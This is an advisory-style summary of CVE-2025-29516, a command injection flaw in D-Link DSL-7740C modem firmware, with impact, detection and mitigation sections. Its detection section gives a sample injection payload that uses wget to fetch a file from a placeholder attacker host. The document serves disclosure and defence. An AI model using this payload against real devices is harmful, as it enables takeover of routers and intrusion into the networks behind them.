Executive Summary

CVE-2025-29516 is a critical command injection vulnerability in the D-Link DSL-7740C modem firmware version DSL7740C.V6.TR069.20211230. It affects the backup function accessed via the device's configuration menu. An attacker with administrative credentials can remotely inject malicious commands through the ping test's destination input, allowing arbitrary command execution with elevated privileges on the device. [1]

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Impact Analysis

This vulnerability can lead to complete device compromise, allowing an attacker to bypass security controls, execute arbitrary commands, and gain full control over the device. The attacker can disrupt services, alter device configurations without authorization, intercept or manipulate network traffic, and potentially breach the network perimeter. [1]

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Detection Guidance

This vulnerability can be detected by attempting to inject commands via the backup function's ping test destination input on the D-Link DSL-7740C device. For example, an administrator can test by inputting a payload such as `1 || wget http://ATTACKER_HOST/test_bk -O /tmp/test_bk #` in the backup function's ping test destination field to see if arbitrary commands are executed. Monitoring SSH and Telnet interfaces for unusual command executions or unexpected network traffic related to wget or similar commands may also help detect exploitation attempts. [1]

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Mitigation Strategies

Immediate mitigation steps include restricting administrative access to the device's SSH and Telnet interfaces, disabling the backup function if possible, and monitoring for suspicious activity related to command injection attempts. Applying any available firmware updates or patches from D-Link addressing this vulnerability is critical once released. Additionally, ensure that only trusted administrators have access to the device to reduce the risk of exploitation. [1]

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